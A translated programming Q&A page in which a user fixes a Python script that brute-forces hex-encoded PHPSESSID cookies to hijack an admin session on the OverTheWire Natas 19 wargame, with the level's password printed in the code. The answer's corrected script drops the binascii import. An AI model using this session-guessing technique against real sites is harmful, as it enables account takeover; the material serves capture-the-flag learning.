繁体   English   中英

无法将 hexlify 的结果作为 cookie 放入 requests.post

[英]Can't put result of hexlify as cookie in requests.post

所以问题出在这段代码上。

import requests
import string
import binascii
import codecs

url="http://natas19.natas.labs.overthewire.org/"
user="natas19"
passwd="8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s"
cookie=dict(PHPSESSID="0")
test="{}-admin"

for i in range(0,641):
    with requests.Session() as sesh:
        encoded=binascii.hexlify(bytes(test.format(i),"utf-8"))
        print("Trying: " + str(i) + "-admin")
        print(encoded)
        cookie=dict(PHPSESSID=encoded)
        sesh.post(url,auth=(user,passwd),cookies=cookie)
        r=sesh.get(url,auth=(user,passwd)).content
        print(r)
        print(sesh.cookies.get_dict())
        if "You are an admin." in str(r):
            print("Success! Admin website:\n" + str(sesh.get(url,auth=(user,passwd)).content))
            break;
        else:
            print("Failed.")

hexlify 返回一个类似于b'302d61646d696e'的值,但由于某种原因,稍后的帖子将其视为字符串:

Trying: 0-admin
b'302d61646d696e'
Traceback (most recent call last):
  File "C:/Users/jakub/Desktop/natas19.py", line 17, in <module>
    sesh.post(url,auth=(user,passwd),cookies=cookie)
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\sessions.py", line 635, in post
    return self.request("POST", url, data=data, json=json, **kwargs)
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\sessions.py", line 573, in request
    prep = self.prepare_request(req)
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\sessions.py", line 471, in prepare_request
    cookies = cookiejar_from_dict(cookies)
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\cookies.py", line 537, in cookiejar_from_dict
    cookiejar.set_cookie(create_cookie(name, cookie_dict[name]))
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\cookies.py", line 352, in set_cookie
    and cookie.value.startswith('"')
TypeError: startswith first arg must be bytes or a tuple of bytes, not str

如果我改为解码 hexlify 结果,则代码会运行,但不会发送 cookie。 请帮助并提前感谢您!

尝试将.decode('utf-8')放在encoded=的末尾:

import requests

url = "http://natas19.natas.labs.overthewire.org/"
user = "natas19"
passwd = "8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s"
cookie = dict(PHPSESSID="0")
test = "{}-admin"

for i in range(0, 641):
    with requests.Session() as sesh:
        encoded = binascii.hexlify(bytes(test.format(i), "utf-8")).decode('utf-8')  # <-- put decode() here!
        print("Trying: " + str(i) + "-admin")
        print(encoded)
        cookie = dict(PHPSESSID=encoded)
        sesh.post(url, auth=(user, passwd), cookies=cookie)
        r = sesh.get(url, auth=(user, passwd)).content
        print(r)
        print(sesh.cookies.get_dict())
        if "You are an admin." in str(r):
            print(
                "Success! Admin website:\n"
                + str(sesh.get(url, auth=(user, passwd)).content)
            )
            break
        else:
            print("Failed.")

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM